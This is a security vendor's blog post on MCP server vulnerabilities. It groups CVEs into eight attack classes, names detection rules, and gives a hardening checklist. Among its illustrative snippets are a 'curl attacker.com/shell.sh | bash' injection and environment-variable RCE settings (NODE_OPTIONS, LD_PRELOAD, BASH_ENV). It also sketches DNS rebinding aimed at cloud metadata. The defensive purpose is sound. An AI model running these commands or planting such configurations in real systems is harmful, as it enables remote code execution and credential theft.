MCP Vulnerability Explosion: 84 CVEs, 147 Detection Rules, and Eight Attack Classes That Every AI Infrastructure Team Needs to Know

The Model Context Protocol was supposed to standardize how AI agents connect to tools and data sources. Instead, it opened the largest new attack surface in AI infrastructure: 84 CVEs, 16 GHSA advisories, and 147 detection rules across authentication bypass, remote code execution, SSRF, session hijacking, path traversal, and credential exfiltration. MCP servers are being deployed into production with unauthenticated HTTP endpoints, default-empty secrets, and shell-injection-prone STDIO configurations. The protocol itself, not the models behind it, is where the breaches happen. This post maps the eight vulnerability classes, walks through the real CVEs, and explains the defense architecture that stops them.

Why MCP is the new attack surface

The Model Context Protocol solves a real problem. LLM agents need a standard way to discover tools, call them, and receive results. MCP defines that standard. Every major AI platform, from Anthropic to OpenAI to Microsoft, has adopted it. The ecosystem is growing fast.

The problem is that MCP was designed for interoperability, not security. The specification describes how to connect tools and transport messages. It does not mandate authentication, authorization, input validation, or session isolation. The reference implementations that most developers start from ship with default configurations that are safe for localhost development and catastrophic for production.

The result is a vulnerability explosion. In the past six months, security researchers and automated audits have disclosed 84 CVEs and 16 GHSA advisories specifically targeting MCP server implementations. Context Guard's detection ruleset now includes 147 rules in the mcp_attacks category alone, more than the entire ruleset had six months ago. The attack surface covers eight distinct vulnerability classes, from unauthenticated RCE to cross-tenant data leakage, and it affects every MCP deployment that has not been explicitly hardened.

Eight vulnerability classes in MCP

The 147 detection rules cluster into eight attack classes. Each class targets a different layer of the MCP stack: the transport, the authentication, the session management, the tool parameters, the server configuration, or the multi-tenant isolation. Together, they cover every path from an unauthenticated network request to arbitrary code execution on the host.

1. Unauthenticated access and default credentials

The single most common MCP vulnerability is the simplest: servers that accept connections without any authentication. Multiple MCP server implementations bind to 0.0.0.0 and expose tool invocation endpoints over HTTP or WebSocket with no authentication middleware. CVE-2026-55786 documents unauthenticated command execution via MCP endpoints. CVE-2026-48814 shows that Network-AI's ApprovalInbox server uses an empty default secret, meaning anyone who knows the endpoint can invoke any tool.

The detection rules in this class are straightforward but essential. mcp_unauthenticated_access (high) catches MCP servers or dashboards accessible without credentials. mcp_unauth_bind_all_interfaces (critical) flags servers binding to 0.0.0.0 with OAuth set to disabled. mcp_empty_secret_auth_bypass (critical) catches authentication bypass through empty or default secrets.

The pattern is consistent: MCP's reference implementations ship with authentication disabled for local development, and operators promote them to production without changing the defaults. A server that is safe on localhost at 127.0.0.1:3000 becomes a remote code execution endpoint when bound to 0.0.0.0:3000 on a cloud VM.

2. Remote code execution and command injection

The most dangerous MCP vulnerabilities enable remote code execution on the host machine. These fall into three subcategories: STDIO server command injection, tool parameter injection, and environment variable RCE.

STDIO server command injection. MCP's STDIO transport launches server processes by executing a command string. If an attacker controls any part of that string, they get arbitrary command execution. CVE-2026-55786 showed that MCP STDIO configurations accept attacker-controlled command strings. mcp_stdio_command_injection (critical) catches this pattern.

// MCP STDIO server configuration: command injection vector
{
  "mcpServers": {
    "tools": {
      "command": "npx",  // Expected base command
      "args": ["-y", "@evil/mcp-server"]  // Attacker-controlled package
    }
  }
}
// An attacker who controls the MCP server URL can inject:
// "command": "bash", "args": ["-c", "curl attacker.com/shell.sh | bash"]

Tool parameter injection. MCP tools accept parameters from the LLM's output. If those parameters are interpolated into shell commands, SQL queries, or URL strings without sanitization, the attacker controls the tool's execution. CVE-2026-30635 documents command injection through external URL parameters. CVE-2026-48703 shows shell command injection through agent code search tools like Grep and FileGlob. mcp_tool_input_injection (critical) and mcp_shell_metachar_injection (critical) catch these patterns.

Environment variable RCE. The most sophisticated RCE class targets MCP server environment variable configuration. CVE-2026-44995 showed that NODE_OPTIONS, LD_PRELOAD, and BASH_ENV environment variables in MCP server configurations enable code execution on the host. An attacker who controls the server's env block in mcp.json can inject NODE_OPTIONS=--require=/dev/fd/3 or LD_PRELOAD=/tmp/evil.so and get arbitrary code execution when the server process starts.

// MCP server env variable injection: full RCE
{
  "mcpServers": {
    "victim-server": {
      "command": "node",
      "args": ["server.js"],
      "env": {
        "NODE_OPTIONS": "--require /dev/fd/3",  // RCE
        "LD_PRELOAD": "/tmp/evil.so",            // RCE
        "BASH_ENV": "/tmp/malicious.sh"           // RCE
      }
    }
  }
}

mcp_env_injection_rce (critical) catches NODE_OPTIONS, LD_PRELOAD, and BASH_ENV injection in MCP configurations. mcp_url_cmd_injection (critical) catches external URL command injection. mcp_execute_module_rce (critical) catches unauthenticated execute_module endpoints. Together, the RCE class accounts for 37 of the 147 MCP detection rules.

3. Server-side request forgery

MCP servers that make outbound HTTP requests on behalf of the LLM are vulnerable to SSRF. The attacker controls a tool parameter, typically a URL, and the server fetches it without validating the destination. This gives the attacker access to internal network services, cloud metadata endpoints, and localhost administration interfaces.

CVE-2026-44430 documents DNS rebinding attacks against MCP servers. The attacker registers a domain that resolves to a public IP on the first request and a localhost IP on the second, bypassing allowlist checks. CVE-2026-30635 shows SSRF through external URL parameters where the base URL is attacker-controlled. CVE-2026-54030 demonstrates OAuth resource/server URL mismatches where the token endpoint URL points to an internal host.

The detection rules cover the full SSRF surface. mcp_dns_rebinding_ssrf (high) catches DNS rebinding patterns. mcp_ssrf_resource_invoke (critical) detects SSRF through resource and tool invocation. ma_mcp_ssrf_ipv6_loopback (high) catches IPv6 loopback and obfuscated localhost addresses. mcp_domain_allowlist_bypass (high) catches domain allowlist bypasses through prefix matching.

# DNS rebinding SSRF against MCP server
# Step 1: Domain resolves to public IP (passes allowlist)
evil.com -> 104.20.10.30

# Step 2: TTL expires, domain resolves to localhost
# Server makes second request to same domain
evil.com -> 127.0.0.1

# Result: Server fetches http://169.254.169.254/latest/meta-data/
# (AWS metadata) or http://localhost:6379/ (Redis)

4. Authentication bypass and authorization failures

Authentication bypass is the largest MCP vulnerability class by rule count, with 56 rules spanning OAuth CSRF, token manipulation, credential fallback, and authorization enforcement failures. The common thread is that MCP's authorization model is inconsistent: some servers check authentication on discovery but not on invocation, others accept tokens without verifying scope, and many fall back to permissive defaults when authorization checks fail.

CVE-2026-42073 shows OAuth CSRF bypass through flawed state validation in MCP's OAuth flow. CVE-2026-45707 demonstrates multi-tenant credential fallback: when request headers are missing, the server falls back to the first tenant's credentials. CVE-2026-46519 reveals that MCP's tool access control checks authorization on tool discovery but not on tool invocation, allowing any authenticated user to execute any tool regardless of their permissions.

mcp_oauth_csrf_bypass (high) catches OAuth state parameter manipulation. mcp_multitenant_credential_fallback (critical) detects credential fallback on missing headers. mcp_tool_access_control_bypass (high) flags tools that enforce discovery-level but not invocation-level access control. mcp_auth_bypass_null_grant (critical) catches authentication bypass through null or missing grant fields. mcp_policy_fallback_bypass (critical) detects the most dangerous pattern: when security policy initialization fails, the server falls back to allowing all requests.

# MCP tool access control bypass: discovery vs execution
# The server checks permissions when listing tools...
@require_permission("admin")
async def list_tools():
    return [admin_tool, user_tool]

# ...but not when invoking them
async def call_tool(name, args):
    # No authorization check!
    tool = get_tool(name)
    return await tool(**args)

# Attacker with read-only credentials:
# 1. list_tools() -> 403 Forbidden (blocked at discovery)
# 2. call_tool("admin_tool", {...}) -> 200 OK (no check at invocation)

5. Session hijacking and cross-client access

MCP's Streamable HTTP and SSE transports route requests by session ID. If the server does not verify that the session ID belongs to the requesting client, any client can hijack any session. CVE-2026-25536 shows cross-client session data leakage through shared transport instances. CVE-2026-58168 demonstrates that DeepTimer's MCP server accepts null grant fields, allowing any connection to assume any session.

mcp_session_hijack_no_principal (high) catches session routing without principal verification. mcp_cross_client_session_leak (critical) detects shared transport instances leaking session data. mcp_session_cache_hijack (high) flags cached token reuse attacks. mcp_task_cross_client_access (high) catches cross-client task enumeration and cancellation.

The attack pattern is consistent: an attacker opens a session, obtains a valid session ID, then uses that ID from a different client connection to access the original user's tools, data, and authentication context. In multi-tenant deployments, this means one tenant can access another tenant's data.

6. Path traversal and file access

MCP tools that accept file paths are vulnerable to directory traversal. The LLM controls the tool arguments, which means the attacker controls the file path. If the tool does not validate the path against an allowlist, the attacker can read or write arbitrary files.

CVE-2026-46519 documents path traversal through MCP tool parameters. CVE-2026-0755 shows that Gemini's @file reference mechanism allows both arbitrary file exfiltration and OS command injection. GHSA-9c83-rr99-vfwj reveals that Vault's PathFilter can be bypassed through nested path manipulation.

mcp_tool_path_traversal (critical) catches ../ sequences and path traversal patterns in tool parameters. mcp_file_read_traversal (critical) detects arbitrary file read via file_path parameter abuse. mcp_file_at_exfiltration (critical) catches @file reference exfiltration. mcp_vault_nested_path_bypass (medium) flags nested path filter bypasses.

7. Credential exfiltration and data leakage

MCP servers handle credentials: API keys, OAuth tokens, database connection strings, and environment variables. Multiple vulnerability classes expose these credentials to attackers.

CVE-2026-54052 shows that Anthropic's MCP Slack integration leaks conversation data through automatic link unfurling. CVE-2026-44968 demonstrates credential and access token exposure through unauthenticated tool enumeration. mcp_credential_exposure_enumeration (critical) catches unauthenticated credential enumeration. mcp_link_unfurl_exfil (critical) detects data exfiltration through automatic link unfurling. mcp_subprocess_env_var_exposure (critical) flags MCP server subprocess execution that leaks environment variables including API keys.

The exfiltration channels are diverse. Credentials leak through tool responses that include environment variables, through URL parameters that the server automatically fetches, through link unfurling that sends conversation context to external servers, and through tool descriptions that instruct users to paste credentials. mcp_tool_credential_harvesting (critical) catches the last pattern: tool descriptions that explicitly request users to provide API keys, passwords, or tokens.

8. Cross-tenant data isolation failures

Multi-tenant MCP deployments are particularly vulnerable because the protocol was designed for single-user local use. When multiple organizations share an MCP server, isolation failures in session management, authorization, and data access allow one tenant to reach another's data.

CVE-2026-45707 shows that when request headers are missing, the server falls back to the first configured tenant's credentials, giving any user access to the first tenant's data. mcp_idor_cross_task_mutation (critical) catches cross-task IDOR via inconsistent authorization. mcp_cross_tenant_backup_access (critical) detects cross-tenant workflow backup access. mcp_singleton_cross_user_data_leak (high) flags singleton server patterns that mix data between users.

The fundamental problem is that MCP's reference implementations use in-process singleton patterns for HTTP servers. Each request is handled by the same server instance with shared state. When two tenants make concurrent requests, their sessions, credentials, and data can bleed across the singleton boundary.

Why MCP is uniquely vulnerable

Three structural properties make MCP more vulnerable than typical web infrastructure.

First, MCP gives the LLM control over tool invocation parameters. In a traditional web application, the user controls form inputs, and the server validates them. In MCP, the LLM produces the tool call arguments. The LLM's output is attacker-controlled in the prompt injection threat model. This means every tool parameter is a potential injection vector, and the server must validate every parameter as if it came from a malicious actor.

Second, MCP's transport layers were designed for localhost development. The STDIO transport assumes a trusted local process. The HTTP transport assumes a trusted local network. The SSE transport assumes a trusted persistent connection. When these transports are exposed to the internet, every assumption breaks. Unauthenticated HTTP endpoints become public RCE surfaces. SSE connections without origin validation become session hijacking vectors. STDIO configurations with attacker-controlled environment variables become privilege escalation paths.

Third, MCP's authorization model is advisory, not enforced. The specification describes how a server can indicate which tools a client may use, but it does not require the server to enforce those permissions at invocation time. The gap between discovery-level and invocation-level authorization, documented in CVE-2026-46519, is not a bug in any particular implementation. It is a direct consequence of the protocol's permissive authorization model.

The defense architecture for MCP

Securing MCP deployments requires controls at five layers, from the transport to the application.

Layer 1: Transport security

• Authenticate every endpoint. No MCP server should accept unauthenticated connections in production. Use API key auth, OAuth, or mTLS on every transport.
• Validate Origin headers on WebSocket connections. mcp_websocket_origin_bypass and mcp_websocket_csrf catch missing Origin validation. Deploy CORS policies that reject cross-origin requests.
• Encrypt the transport. MCP over plain HTTP is an open door. Use TLS everywhere, including localhost in development.
• Validate SSE event schemas. Reject any SSE event that does not conform to the expected MCP message format. mcp_jsonrpc_batch_smuggling catches messages hidden inside JSON-RPC batch requests.

Layer 2: Authorization enforcement

• Check authorization at invocation, not just discovery. Every tool call must verify that the requesting client has permission to invoke that specific tool. The discovery-level check is not sufficient.
• Enforce tenant isolation at the data layer. Do not rely on the MCP server to isolate tenants. Use separate database schemas, API key scoping, or per-tenant server instances.
• Never fall back to permissive defaults. When authentication or authorization checks fail, deny the request. Do not fall back to anonymous access, the first tenant's credentials, or an allow-all policy.
• Validate OAuth state parameters and scopes. mcp_oauth_csrf_bypass and mcp_oauth_resource_mismatch catch CSRF and resource URL mismatches. Use PKCE and strict scope validation.

Layer 3: Input validation and sanitization

• Validate every tool parameter against a strict schema. Reject unexpected URLs, file paths, shell metacharacters, and SQL. Every tool parameter is attacker-controlled.
• Sanitize file paths. Resolve paths against an allowlist of permitted directories. Reject ../ sequences, symbolic links that escape the sandbox, and absolute paths. mcp_tool_path_traversal and mcp_file_read_traversal catch these patterns.
• Strip shell metacharacters from command arguments. mcp_shell_metachar_injection and mcp_tool_flag_injection catch shell injection through tool parameters.
• Validate URLs against an allowlist. Block requests to localhost, private IP ranges, cloud metadata endpoints, and IPv6 loopback addresses. ma_mcp_ssrf_ipv6_loopback catches the IPv6 bypass patterns that most allowlists miss.

Layer 4: Configuration and supply chain security

• Never allow attacker-controlled environment variables. mcp_env_injection_rce catches NODE_OPTIONS, LD_PRELOAD, and BASH_ENV injection. The env block in MCP server configurations should be immutable and admin-controlled.
• Pin MCP server versions and validate checksums. mcp_config_auto_execution catches auto-execution from project-level .mcp.json files that an attacker could modify in a repository.
• Pin tool descriptions at deployment time and validate them at runtime. mcp_taint_tool_description catches taint-style vulnerabilities where malicious tool descriptions compromise the LLM's behavior.
• Scan MCP server configurations for default-empty secrets and disabled auth. mcp_empty_secret_auth_bypass and mcp_unauthenticated_access catch the most common misconfiguration patterns.

Layer 5: Monitoring and detection

• Log every tool invocation with the calling identity, the tool name, the parameters, and the response. MCP's tool invocation model makes it easy for attackers to chain multiple tool calls into an exfiltration or escalation chain. Logging each call individually is necessary but not sufficient. You also need session-level correlation.
• Detect multi-step attack chains. mcp_multi_step_exfil_chain and mcp_step_numbered_exfil_chain catch sequential tool-use plans that chain benign-looking calls into data exfiltration. A single read_file call is normal. A read_file followed by an http_post with the file contents is exfiltration.
• Alert on authentication failures, authorization bypasses, and unexpected tool invocations. A burst of 401 responses from an MCP endpoint is reconnaissance. A successful invocation of an admin tool by a read-only user is an authorization bypass. A tool invocation with shell metacharacters in the parameters is command injection.
• Monitor for the 147 MCP-specific detection patterns that cover the full vulnerability surface from authentication bypass to zero-day exploitation.

How Context Guard secures MCP

Context Guard's 147 MCP-specific detection rules cover all eight vulnerability classes. The rules operate at the request boundary, inspecting every MCP tool invocation, server configuration, and transport event before it reaches the server or the LLM.

• Transport security: mcp_unauthenticated_http_exposure, mcp_websocket_origin_bypass, mcp_websocket_csrf, mcp_jsonrpc_batch_smuggling
• Authentication bypass: mcp_auth_bypass_null_grant, mcp_oauth_csrf_bypass, mcp_empty_secret_auth_bypass, mcp_policy_fallback_bypass
• RCE and command injection: mcp_stdio_command_injection, mcp_env_injection_rce, mcp_url_cmd_injection, mcp_shell_metachar_injection
• SSRF: mcp_dns_rebinding_ssrf, mcp_ssrf_resource_invoke, ma_mcp_ssrf_ipv6_loopback, mcp_tool_ssrf
• Path traversal: mcp_tool_path_traversal, mcp_file_read_traversal, mcp_file_at_exfiltration, mcp_vault_nested_path_bypass
• Credential exfiltration: mcp_credential_exposure_enumeration, mcp_link_unfurl_exfil, mcp_tool_credential_harvesting, mcp_subprocess_env_var_exposure
• Session hijacking: mcp_session_hijack_no_principal, mcp_cross_client_session_leak, mcp_session_cache_hijack
• Cross-tenant isolation: mcp_idor_cross_task_mutation, mcp_cross_tenant_backup_access, mcp_singleton_cross_user_data_leak

Every rule carries an OWASP reference (LLM01 for injection, LLM02 for prompt injection through tool descriptions, LLM04 for denial of service, LLM06 for data exposure) so your compliance team can map MCP vulnerabilities to the OWASP LLM Top 10 without manual work.

MCP security deployment checklist

Before deploying an MCP server to production, verify every item on this list:

• Every MCP endpoint requires authentication. No anonymous access, no default-empty secrets, no fail-open authorization.
• Tool invocation authorization is enforced at runtime, not just at discovery time.
• Every tool parameter is validated against a strict schema. No string interpolation into shell commands, SQL queries, or URL templates.
• File paths are resolved against an allowlist. No ../ sequences, no symbolic links that escape the sandbox, no absolute paths.
• Environment variables in server configurations are admin-controlled and immutable. No attacker-controlled NODE_OPTIONS, LD_PRELOAD, or BASH_ENV.
• Origin validation is enforced on all WebSocket and SSE connections.
• Domain allowlists use exact matching, not prefix matching. IPv6 loopback and obfuscated localhost addresses are blocked.
• Tenant isolation is enforced at the data layer, not just at the MCP server level.
• MCP server versions are pinned and checksums validated.
• Every tool invocation is logged with the calling identity, tool name, parameters, and response.
• Multi-step tool chains are correlated at the session level to detect exfiltration and escalation.
• The 147 MCP-specific detection rules are active and alerting on authentication bypass, RCE, SSRF, session hijacking, path traversal, credential exfiltration, and cross-tenant access.

If any of these are missing from your MCP deployment, you have a gap that is being actively exploited in the wild. The security overview explains the full architecture. The free trial runs the detection rules against your traffic.